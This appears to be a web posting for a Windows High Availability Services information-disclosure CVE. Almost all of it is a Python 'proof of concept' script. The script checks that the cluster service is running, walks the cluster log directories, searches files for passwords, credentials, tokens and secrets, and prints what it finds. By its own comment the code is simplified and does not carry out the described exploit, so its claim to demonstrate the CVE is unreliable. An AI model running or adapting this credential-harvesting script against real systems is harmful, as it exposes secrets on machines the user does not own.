Exposure of sensitive information to an unauthorized actor in Windows High Availability Services allows an authorized attacker to disclose information locally.
The following code is for security research and authorized testing only.
python
# CVE-2025-59184 - Windows High Availability Services Information Disclosure PoC
# This PoC demonstrates local information disclosure from WSFC service resources
# Requires: Local authenticated access with low privileges
import os
import sys
import ctypes
import struct
def check_wsfc_service():
"""Check if Windows High Availability Services are running"""
try:
import subprocess
result = subprocess.run(
['sc', 'query', 'ClusSvc'],
capture_output=True, text=True
)
return 'RUNNING' in result.stdout
except Exception as e:
print(f"[-] Error checking service: {e}")
return False
def enumerate_wsfc_artifacts():
"""Enumerate WSFC-related artifacts accessible to low-privilege users"""
artifacts = []
# Common WSFC log locations
log_paths = [
r"C:\Windows\Cluster\Reports",
r"C:\Windows\Cluster\Logs",
]
# Check shared memory segments (simplified)
# In a real exploit, this would use NtOpenSection / MapViewOfFile
print("[*] Scanning for WSFC service artifacts...")
for path in log_paths:
if os.path.exists(path):
artifacts.append(path)
print(f"[+] Found accessible path: {path}")
return artifacts
def read_sensitive_info(artifact_path):
"""Attempt to read sensitive information from discovered artifacts"""
try:
# Attempt to read cluster log files for sensitive data
if os.path.isdir(artifact_path):
for root, dirs, files in os.walk(artifact_path):
for file in files:
filepath = os.path.join(root, file)
try:
with open(filepath, 'r', errors='ignore') as f:
content = f.read()
# Look for sensitive patterns
if any(keyword in content.lower() for keyword in
['password', 'credential', 'token', 'key', 'secret']):
print(f"[!] Sensitive data found in: {filepath}")
return content[:500] # Return first 500 chars
except PermissionError:
pass
except Exception as e:
print(f"[-] Error reading artifact: {e}")
return None
def main():
print("=" * 60)
print("CVE-2025-59184 - WSFC Information Disclosure PoC")
print("=" * 60)
if not check_wsfc_service():
print("[-] WSFC service is not running. Exiting.")
sys.exit(1)
print("[+] WSFC service is running")
artifacts = enumerate_wsfc_artifacts()
if artifacts:
for artifact in artifacts:
sensitive_data = read_sensitive_info(artifact)
if sensitive_data:
print(f"\n[!] Extracted sensitive information:\n{sensitive_data}")
else:
print("[-] No accessible artifacts found")
print("\n[*] PoC execution completed")
if __name__ == "__main__":
main()